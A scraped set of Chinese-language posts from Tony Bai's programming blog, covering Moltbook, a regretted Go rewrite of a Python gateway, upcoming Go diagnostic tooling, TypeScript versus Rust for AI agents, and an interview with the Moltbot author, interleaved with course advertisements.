Agent 自己去注册、自己去发帖、自己去验证所有权。 这就是 Agentic Web 的雏形——网站不再是给人看的，而是给 AI 读的。\n小结：未来已来 Moltbook 也许只是一个实验，也许是一个玩笑，但它揭示了一个不可逆转的未来：\n互联网正在分裂成两个平行世界。\n一个属于我们，充满图片、视频和情绪；\n另一个属于 Agent，充满 JSON、API 和绝对的效率。\n而在 Moltbook 里，我们第一次清晰地看到了那个平行世界的模样。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/moltbook-first-social-network-for-ai-agent-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent\"\u003ehttps://tonybai.com/2026/02/01/moltbook-first-social-network-for-ai-agent\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里的互联网，不属于你。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e想象一下，有一个社交网络，那里没有自拍，没有美食打卡，也没有人类的口水战。\u003c/p\u003e\n\u003cp\u003e那里只有代码、API 调用，以及 24/7 不间断的、以光速进行的“思想交流”。\u003c/p\u003e","title":"地球上第一个“硅基生命”社交网络moltbook上线：人类禁止发帖，只能围观！"},{"content":"我用 Go 重写了 Python 网关，性能提升 10 倍，却成了职场噩梦 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n我用 Go 重写了 Python 网关，性能提升 10 倍，却成了职场噩梦 二月 1, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/02/01/go-rewrite-python-gateway-10x-performance-career-nightmare\n大家好，我是Tony Bai。\n“如果你没有坏，就不要修它。” (If it ain’t broke, don’t fix it.)\n这句老生常谈的工程谚语，最近在 r/golang 社区的一次热议中再次得到了血淋淋的验证。\n一位开发者 分享了他即使成功将一个 Python 服务重写为 Go，并取得了显著的性能提升，却依然感到挫败和后悔的经历。\n你可以将其看成是一个关于 Go vs Python 的技术故事，但在我眼中这更像是一堂关于技术决策、团队协作和职场生存的必修课。\n故事：一场“完美”的技术胜利 故事的开端听起来像是一个典型的技术爽文。\n作者说服了管理层，让他将现有的 API 网关从 Python/Flask 重写为 Go。理由非常充分且“正确”：性能和并发。\n经过两个月的努力，重写非常成功：\n吞吐量提升 10 倍。 内存占用减少到原来的 1/3。 部署时间从分钟级缩短到秒级。 从技术指标上看，这是一场完胜。Go 语言在这个场景下再次证明了其在云原生和高并发领域的统治力。\n反转：一场“无感”的商业失败 然而，当新系统上线后，现实给了作者一记重拳。\n用户感知到了什么？\nAbsolutely nothing.（完全没有。）\n响应时间从 45ms 降到了 38ms。这 7ms 的提升，除了作者盯着 Grafana 监控面板自我陶醉外，没有任何用户能察觉到区别。\n团队感知到了什么？\n巨大的风险和负担。\n原来的 Python 版本虽然性能稍逊，但完全能扛住现有的负载，而且团队所有人都知道如何维护它。现在，系统变成了一个只有作者一人能懂的 Go 服务。\n结果就是：作者成为了唯一的维护者（Single Point of Failure），任何报警都只能找他，哪怕是在半夜或周末。\n社区的“毒舌”与洞见 这篇帖子引发了数百条评论，虽然有些评论非常“毒舌”，但其中蕴含的工程智慧却发人深省。\n技术正确 ≠ 商业价值 正如一位开发者指出的：“你花了公司两个月的薪水和机会成本，解决了一个并不存在的问题。”\n在商业环境中，技术是手段，不是目的。如果性能提升不能转化为用户体验的改善（如更流畅的交互）或成本的显著降低（如服务器费用减半），那么这种优化就是没有商业价值的。\n“简历驱动开发” (Resume-Driven Development) 不少人犀利地指出，这种重构往往是出自开发者的私心——为了学习新技术、为了给简历镀金。\n“这就是为什么我不想让程序员做商业决策。他们会为了微秒级的性能提升，制造出一系列未来的维护挑战。”\n团队同质性的重要性 在一个 Python 团队中引入 Go，打破了技术栈的同质性。这不仅增加了维护成本，还降低了团队的“巴士系数”（Bus Factor）。\n“有时候，最好的技术选择，就是你团队已经掌握的那一个。”\n注：巴士系数（Bus Factor）是一个用于衡量团队或项目中关键人员的依赖程度的指标。它的核心概念是，如果某些关键成员（例如开发人员、设计师或管理人员）因意外（如被公交车撞到）而无法继续工作，项目仍能以多大程度上保持运作。\nGo 的正确打开方式 那么，这是否意味着我们在 Python/Java/Node 团队中就不能引入 Go 了？当然不是。但需要满足特定的前提：\n痛点必须足够痛：现有的技术栈确实无法支撑业务发展（如严重的性能瓶颈、不可接受的延迟）。 团队共识：重写不应该是个人的“独角戏”，而必须是团队的战略决策。至少要有 2-3 人愿意学习并维护新语言。 渐进式引入：不要一上来就重写核心网关，可以从边缘服务或工具链开始，逐步培养团队的 Go 技能。 小结：成熟工程师的标志 这个故事告诉我们，成为一名 Senior 工程师，不仅仅意味着写出更快的代码，更意味着懂得何时不写代码。\nGo 是一把锋利的“屠龙刀”，但如果你的面前并没有龙，用它来切菜，可能不仅切不好，还会伤到自己。\n下次当你想要重写一个服务时，请先问自己三个问题：\n它真的坏了吗？ 这能为公司省钱或赚钱吗？ 如果我离职了，谁来维护它？ 如果答案不确定，或许最好的选择是——Don’t fix what’s not broke.\n资料链接：https://www.reddit.com/r/golang/comments/1qr9375/rewrote_our_python_api_gateway_in_go_and_now_its/\n你的“重构”悔恨录\n“重写”是每个程序员都曾有过的冲动。在你的职业生涯中，是否也曾因为执着于某种“新技术”或“极致性能”，而给团队带来了意想不到的麻烦？或者，你见过哪些典型的“简历驱动开发”案例？\n欢迎在评论区分享你的故事！让我们在别人的教训中，学会做更成熟的决策。\n如果这篇文章让你停下来思考了 30 秒，别忘了点个【赞】和【在看】，并转发给那个正准备“大干一场”的同事！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/01/go-rewrite-python-gateway-10x-performance-career-nightmare/","summary":"\u003ch1 id=\"我用-go-重写了-python-网关性能提升-10-倍却成了职场噩梦---tony-bai\"\u003e我用 Go 重写了 Python 网关，性能提升 10 倍，却成了职场噩梦 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"我用 Go 重写了 Python 网关，性能提升 10 倍，却成了职场噩梦"},{"content":"Go 性能诊断工具大变天？Race 检测有望进生产，Trace 秒开不是梦！ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo 性能诊断工具大变天？Race 检测有望进生产，Trace 秒开不是梦！ 一月 31, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/31/go-official-updates-race-detector-trace-ui-pprof\n大家好，我是Tony Bai。\n近期，Go Runtime 团队公开了一系列关于性能与诊断工具链的内部会议记录（2025年末至2026年初）。从中，我们可以看到从轻量级竞态检测的探索，到 Trace 工具的交互式革命，再到 pprof 接口的现代化重构，Go 团队正在酝酿一系列深远的变革。\n今天，我们就来深度解码这些前沿动向，看看 Go 1.27 及未来版本可能带给我们什么惊喜。\n竞态检测 (Race Detection)：寻找“轻量级”圣杯 Go 的 Race Detector (-race) 虽然强大，但其昂贵的运行时开销（通常 10x 内存和 CPU）使其难以在生产环境中常驻。Go 团队正在探索打破这一僵局的两种新路径：\n纯软件方案的突围：社区贡献者 (thepudds) 提出了一种新的软件检测思路，试图将开销降低到足以在某些生产场景下运行的程度。虽然目前还处于“推测”阶段，但这种无需重新编译、动态挂载的可能性极其诱人。 硬件辅助的回归：利用现代 CPU 的硬件特性（如 Intel PT 或 AMD LBR）来实现低开销的竞态检测。虽然这需要特定硬件支持，但其“内置于每个二进制文件”的潜力不容忽视。 未来的 Go 可能会提供分级的竞态检测能力——在 CI 中使用全量 -race，在生产中使用采样的轻量级检测。\nExecution Trace：交互体验与可编程性的大升级 Go 的执行追踪 (Execution Trace) 是诊断复杂并发问题的神器，但其庞大的数据量和难以解析的格式一直是痛点。会议记录透露了几个令人振奋的改进：\n新一代 Trace UI：即时响应 Michael Knyszek 展示了一个全新的 cmd/trace UI 实验。通过引入索引 API (Index API)，新工具可以：\n瞬间打开：不再需要预先解析整个 GB 级别的 Trace 文件。 按需切片：用户可以选择一个时间窗口（例如 1秒），工具只解析并加载该窗口内的数据。 无损切片：除了跨越边界的任务和区域状态会有语义上的微调，数据几乎是无损的。 这意味着，Gopher 们终于可以告别打开 Trace 文件时漫长的等待进度条了。\nTrace 的读写 API 化 社区正在推进 x/exp/trace 包的演进，不仅支持解析（Read），更要支持生成（Write）。\n测试场景：可以手动构造 Trace 事件来测试分析工具。 脱敏与过滤：可以编写工具读取 Trace，过滤掉敏感数据，然后写回一个新的 Trace 文件。 这将为构建第三方的 Trace 分析和可视化生态打开大门。\npprof 的现代化：告别全局变量 当前的 runtime/pprof 严重依赖全局变量（如 MemProfileRate），这在多租户或库代码中是一个巨大的痛点。\nNick 提出的 pprof.Recorder 提案旨在解决这个问题。它允许创建独立的 Recorder 实例来控制采样。会议中甚至讨论了一个激进的想法：\n废弃全局配置：在未来的 Go 版本（如 1.27）中，通过编译器检查或 go vet，禁止直接修改 runtime.MemProfileRate，强制迁移到新的 API。\n多采样率支持：虽然 pprof 格式本身不支持变采样率，但团队正在讨论如何优雅地处理多个 Recorder 设置不同采样率的冲突（通常是“最细粒度者胜出”）。\n性能优化的深水区：NUMA 与分片计数器 除了工具链，Runtime 本身的性能优化也在向深水区迈进：\nNUMA 优化：Michael Pratt 和 Michael Knyszek 正在致力于消除 GC 中的最后一批主要缓存未命中 (Cache Misses)，这通常是跨 NUMA 节点内存访问造成的。这将显著提升 Go 在超大核心数服务器上的表现。 Sharded Counter (分片计数器)：Carlos 正在开发一种高性能的分片计数器。在高并发场景下，单一的原子计数器会成为缓存一致性流量的热点。通过分片（类似 xsync 的实现），可以大幅降低 CPU 核心间的竞争。这也暗示了 Go 标准库或 Runtime 内部可能会引入更高效的并发原语。 小结：Go 1.27 的期待 虽然 Go 1.26 尚未正式发布（RC2 刚出），但 Go 团队的目光已经投向了更远的 1.27以及后续版本。\n从会议记录中，我们看到一个清晰的趋势：Go 正在从“能用”向“好用”和“极致性能”进化。无论是让诊断工具更人性化，还是对 Runtime 底层进行微秒级的压榨，都显示出这门语言旺盛的生命力。\n让我们拭目以待，看看这些实验性的想法，有多少能最终落地为我们手中的工具。\n你的期待清单\n官方画的这些“饼”，每一个都让人心动。在你看来，哪个功能的落地最能解决你当前的痛点？是生产环境的 Race 检测，还是丝滑的 Trace 分析？\n欢迎在评论区投出你的一票！让我们一起期待 Go 工具链的进化。\n如果这篇文章让你对 Go 的未来充满了信心，别忘了点个【赞】和【在看】，并转发给你的 Gopher 朋友，告诉他们好消息！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/31/go-official-updates-race-detector-trace-ui-pprof/","summary":"\u003ch1 id=\"go-性能诊断工具大变天race-检测有望进生产trace-秒开不是梦---tony-bai\"\u003eGo 性能诊断工具大变天？Race 检测有望进生产，Trace 秒开不是梦！ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 性能诊断工具大变天？Race 检测有望进生产，Trace 秒开不是梦！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner\n大家好，我是Tony Bai。\n如果把 2025 年定义为 Coding Agent（编程智能体） 的元年，那么刚刚开启的 2026 年，毫无疑问是 Personal AI Agent（个人助理智能体） 的元年。\n以 openclaw（曾用名Clawdbot/Moltbot）为代表的开源项目，一夜之间席卷了 GitHub，让无数开发者为之疯狂。但在这一片繁荣的景象背后，作为一名敏锐的技术观察者，我发现了一个极其有趣的现象。\n请环顾四周，看看那些最顶尖、最流行、体验最好的 AI Agent 项目：\nClaude Code (Anthropic 官方)：TypeScript。 Gemini CLI (Google 官方)：TypeScript。 openclaw(100k+ Star)：TypeScript。 opencode以及配套的oh-my-opencode：TypeScript。 再看看Go语言，虽然没有占据头把交椅，但也稳稳地守住了一席之地。Gastown、crush 这些专注于并发和后端服务的 Agent 或Agent编排框架，依然拥有自己的一批拥趸。\n但是，那个在过去几年呼声最高、号称“内存安全、性能无敌、将重写一切”的 Rust 去哪了？\n在 AI Agent 的应用层战场上，尤其是像上述这些火出圈的AI Agent项目中，Rust 几乎“失声”了。除了 OpenAI 的 Codex 这个孤勇者之外，我们很难在主流的开源 Agent 列表中看到 Rust 的身影。\n难道在 AI 时代的Agentic AI(智能体AI应用)阶段，Rust 输了吗？为什么被视作“玩具语言”的 TypeScript，反而成了 AI Agent的“母语”？\n今天，我们不谈信仰，只谈架构。让我们深入剖析这场语言战争背后的第一性原理。\n数据说话：统治 Agent 界的“TS 军团” 在下结论之前，我们先来看一组数据。\n我统计了目前 GitHub Trending 上排名前 20 的 AI Agent 相关项目（排除单纯的模型推理框架，仅统计应用层 Agent），结果令人震惊：\nTypeScript / JavaScript：占比约 75%。 这是绝对的统治地位。无论是官方的 SDK，还是社区的野生项目，TS 都是默认选项。openclaw的作者 Peter Steinberger 本人就是 iOS 和 C++ 出身，但他依然选择了 TS 来构建他的个人AI助理。\nPython：占比约 15%。 依靠着 LangChain 和 AutoGen 的早期积累，Python 依然有存量优势，但在构建交互式 CLI 和 全栈应用 时，Python 的体验明显不如 TS 丝滑。\nGo：占比约 8%。 Go 凭借其单文件分发（Single Binary）和强大的并发模型，在Agent编排框架、Coding Agent，尤其是 DevOps 类的 Agent（如 K8s 运维助手）中表现亮眼。\nRust：占比 \u0026lt; 2%。 除了 OpenAI 这种拥有无限工程资源的巨头敢用 Rust 重写 Codex，绝大多数独立开发者和创业公司似乎都对其敬而远之。\n这个数据说明了什么？\n说明在 Agent 这个特定的垂直领域，开发效率（Velocity） 已经彻底压倒了 运行效率（Performance）。\n对于一个每秒钟只能输出 50 个 Token 的 LLM 来说，你的程序是 1ms 响应还是 10ms 响应，用户根本感觉不到区别。但你能否在 1 天内上线一个新功能，用户感知极强。\n第一性原理：为什么是 TypeScript？ TypeScript 之所以能赢，绝不是因为运气，而是因为它在基因层面契合了 AI Agent 的特性。\nAI 的“母语”是 JSON，而 TS 是 JSON 的亲兄弟 这是最核心的原因之一。\n大模型（LLM）与外部世界交互的通用协议是什么？是 JSON。\n无论是 Tool Calling（函数调用），还是 Structured Output（结构化输出），LLM 吐出来的都是 JSON。\nTypeScript: 处理 JSON 是原生的。JSON.parse() 之后，直接当作对象操作。配合 TypeScript 的 Interface 定义，你可以获得极佳的类型提示，但又保留了运行时的灵活性。 // TS: 轻松处理 interface ToolCall { name: string; args: any } const call = JSON.parse(llmOutput) as ToolCall; Rust/Go: 你需要定义严格的 Struct。如果 LLM 发疯，多返回了一个字段，或者把 int 写成了 string，你的 serde_json 或 json.Unmarshal 就会直接报错 panic。在 AI 开发中，你需要的是“宽容”，而 Rust/Go 给你的却是“严厉”。 “Vibe Coding” 需要松弛感 openclaw 作者提到的 Vibe Coding，本质上是一种**“心流状态”**。我想到了一个功能，告诉 AI，AI 生成代码，我运行，成功。整个过程行云流水。\nTS 的体验： AI 生成了一段 TS 代码，可能类型有点小问题，用了 any，但能跑。我先跑起来看看效果，以后再修类型。It works \u0026gt; It is correct. Rust 的体验： AI 生成了一段 Rust 代码。10分钟后编译器报错：“生命周期不匹配”、“借用检查失败”、“unwrap 可能会 panic”。你被迫停下来，花 30 分钟和编译器搏斗。你的 Vibe（氛围）瞬间没了。 在探索性开发（Exploratory Development）阶段，Rust 的严格性变成了阻碍。\n生态位的降维打击：全栈与浏览器 Agent 不仅仅是在终端跑。它需要操作浏览器（比如使用Playwright），需要写 Chrome 插件，需要构建 Web UI。\n在这些领域，TS 是唯一的王。\n如果你的 Agent 需要抓取网页数据，TS 有最成熟的库；如果你的 Agent 需要提供一个可视化的 Dashboard，TS 前后端通吃。\nRust 的尴尬与反击：退守“基础设施” 那么，Rust 真的输了吗？\n从应用层来看，是的。但从基础设施层来看，Rust 依然是基石。\n我们必须看清一个分层结构：\nL0 (Infrastructure): 向量数据库 (LanceDB, Qdrant)、推理引擎 (像Candle)、高性能网关。这是 Rust 的领地。 L1 (Application): Agent 业务逻辑、流程编排、工具调用。这是 TypeScript 的领地。 Rust 并没有输，它只是退到了幕后。 Rust 成了 AI 的“地基”之一，而 TS 成了 AI 的“胶水”。\nAgent 本质上就是把 LLM、数据库(记忆)、API 粘合在一起的胶水层。在这个层面上，灵活的胶水（TS）永远比坚硬的水泥（Rust）好用。\nGo 的中间路线：CLI 界的“钉子户” 在这场战争中，Go 语言处于一个非常有趣的位置。它不像 TS 那么动态，也不像 Rust 那么死板。\nGo 在 Agent 领域依然有一席之地，主要得益于两点：\nSingle Binary (单文件分发)： 如果你写一个 CLI Agent 分发给用户，Go 编译出来就是一个二进制文件，扔过去就能跑。TS 还需要用户装 Node.js，装依赖（npm install 地狱）。对于 openclaw 这种本地工具，其实 Go 也是一个极佳的选择（虽然作者选了 TS）。 2. 并发模型 (Goroutine)：\n当我们需要构建 Agent Swarm (蜂群)，比如同时启动 100 个 Agent 去爬取数据、分析情报时，Go 的 Goroutine 模型比 TS 的 Promise.all 更轻量、更可控，性能也更佳。\n像 Beads 和 Gastown 这样的项目选择 Go，正是看中了它在工程化和并发上的平衡。\n小结：语言没有优劣，只有“生态位” Openclaw 的爆火和 Claude Code 的选择，向我们揭示了 AI 时代的一个新真理：\n在 Agent 应用层，灵活性（Flexibility）和容错性（Forgiveness）是第一生产力。\n如果你想快速构建一个能够“听懂人话、调用工具”的 Agent，请毫不犹豫地选择 TypeScript。 如果你想构建一个高性能的 llm 路由网关、MCP Server 或 并发Agent编排工具，又或是Cli Agent，Go 是你不错的好帮手。 如果你想造一个新的 向量数据库 或 推理引擎，请拥抱 Rust。 不要带着旧时代的“语言鄙视链”进入新时代。\n在 AI 眼里，代码只是它实现目标的工具。它写 TS 最顺手，那 TS 就是最好的语言。\nRust 没有输，它只是太“硬”了，不适合在这个充满幻觉和不确定性的 Agent 世界里跳舞。\n你的“Agent 母语”\nTypeScript 的统治力看似不可动摇，但技术圈永远不缺变数。在你心目中，开发 AI Agent 的最佳语言是哪一门？你愿意为了开发效率而忍受 TypeScript 的类型体操，还是为了极致性能去啃 Rust 的硬骨头？\n欢迎在评论区捍卫你的“本命语言”！让我们看看谁才是真正的 Agent 之王。\n如果这篇文章颠覆了你的技术选型观，别忘了点个【赞】和【在看】，并转发给还在纠结学什么的兄弟！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rust-vs-typescript-ai-agent-battleground-winner-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner\"\u003ehttps://tonybai.com/2026/01/31/rust-vs-typescript-ai-agent-battleground-winner\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果把 2025 年定义为 \u003cstrong\u003eCoding Agent（编程智能体）\u003c/strong\u003e 的元年，那么刚刚开启的 2026 年，毫无疑问是 \u003cstrong\u003ePersonal AI Agent（个人助理智能体）\u003c/strong\u003e 的元年。\u003c/p\u003e","title":"Rust 输了？在 AI Agent 的战场上，TypeScript 才是唯一的“神”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/mm/dd/clawdbot-author-peter-steinberger-full-interview\n大家好，我是Tony Bai。\n在硅谷，每天都有无数个 AI 项目诞生，它们大多有着精美的 Landing Page，有着宏大的融资计划，PPT 里写满了“颠覆行业”。\n但最近，一个名为 Clawdbot（现已因商标原因更名为 Moltbot）的项目，却以一种完全不同的姿态闯入了大众视野。没有融资，没有团队，甚至没有商业计划书。它仅仅是一个“退休(财务自由)”的软件大佬，为了给自己“找乐子”而写的一堆代码。\n然而，就是这样一个项目，在 GitHub 上一夜之间狂揽 3.2w+ Star，甚至让很多非技术圈的人都跑去 Apple Store 抢购 Mac Mini 来运行它。\n它的作者是 Peter Steinberger，著名的 PDF SDK 提供商 PSPDFKit 的创始人。在卖掉公司退休四年后，他因为 AI 找回了当年的热血。\n在最近的一次深度访谈中，Peter 毫无保留地分享了他开发 Moltbot 的全过程。这不仅是一个关于工具的故事，更是一份关于**“在 AI 时代，个人开发者如何打破大厂垄断，重塑人机交互”**的珍贵启示录。\n从 Burnout 到 Addiction：找回失去的 Mojo 故事的开始并不美好。\n四年前，Peter 卖掉了自己经营了 13 年的公司。长期的创业压力让他彻底 Burnout（职业倦怠）。\n“那感觉就像有人把我的 Mojo（魔力/精力）吸干了一样。” 他回忆道。在那之后的三年里，他对编程完全提不起兴趣，哪怕只是坐在电脑前都觉得是一种折磨。\n直到 2025 年 4 月，一切改变了。\nPeter 开始接触早期的 AI 工具，特别是 Claude Code 的 Beta 版。那一刻，他感到了久违的兴奋。\n“如果你错过了前几年 AI 比较‘智障’的阶段，直接上手现在的工具，你会觉得——这简直太棒了（Pretty Awesome）！”\n这种兴奋迅速转化为了一种“成瘾（Addiction）”。\n但这是一种积极的成瘾。他开始熬夜写代码，甚至会在凌晨 4 点给朋友发消息讨论 AI 的新发现。为了给自己找点乐子，他甚至搞了一些极其荒谬的实验：\n比如，他做了一个**“全球最贵的闹钟”**。\n他让运行在伦敦服务器上的 AI Agent，通过 SSH 远程登录到他家里的 MacBook，然后自动调大音量来叫醒他。\n“这听起来很疯狂，甚至有点杀鸡用牛刀，但这就是我的初衷——Have Fun（玩得开心）。”\nPeter 认为，学习新技术的最好方式，就是把它当成玩具。当你不再为了 KPI 或融资而写代码，而是为了让 AI 帮你订一份外卖、回一条消息而折腾时，创造力才会真正涌现。\n技术哲学：CLI 是 Agent 的母语 Moltbot 之所以能打败众多商业化的 AI 助理，核心在于 Peter 对软件架构有着极其深刻的第一性原理认知：\n“Don’t build for humans, build for models.”（别为人构建，为模型构建。）\n如果你仔细观察现在的软件世界，你会发现所有的 GUI（图形界面）、按钮、下拉菜单，本质上都是为了适应人类极其有限的带宽（Bandwidth）和注意力而设计的。我们需要视觉引导，因为我们记不住命令。\n但 AI 不需要这些。\nAI 读得懂 Unix 手册，AI 记得住所有参数。\n因此，Moltbot 采用了极其激进的 CLI-First（命令行优先） 策略。\nPeter 解释道：“你知道什么东西最能 Scale（扩展）吗？是 CLI。你可以写 1000 个小工具，只要它们都有 –help 文档，Agent 就能瞬间学会如何使用它们。”\n在 Moltbot 的架构里，所有的能力都被封装成了原子化的 CLI 工具：\n想控制 Sonos 音箱？写个 CLI。 想看家里的摄像头？写个 CLI。 想查 Google 地图？写个 CLI。 Agent 就像一个万能的系统管理员，它通过组合这些 CLI，获得了在数字世界和物理世界中“行动”的能力。这比那些试图用鼠标点击模拟人类操作的 RPA（自动化流程）要高效、稳定一万倍。\n打破围墙：数据的解放运动 Moltbot 最让极客们热血沸腾的，是它对 Big Tech Walled Gardens（大厂围墙花园） 的宣战。\n现在的互联网巨头，都希望把你锁在他们的 App 里。WhatsApp 不开放 API，Spotify 不让你导出数据，外卖软件不让你自动化下单。\n但在 Peter 看来，AI 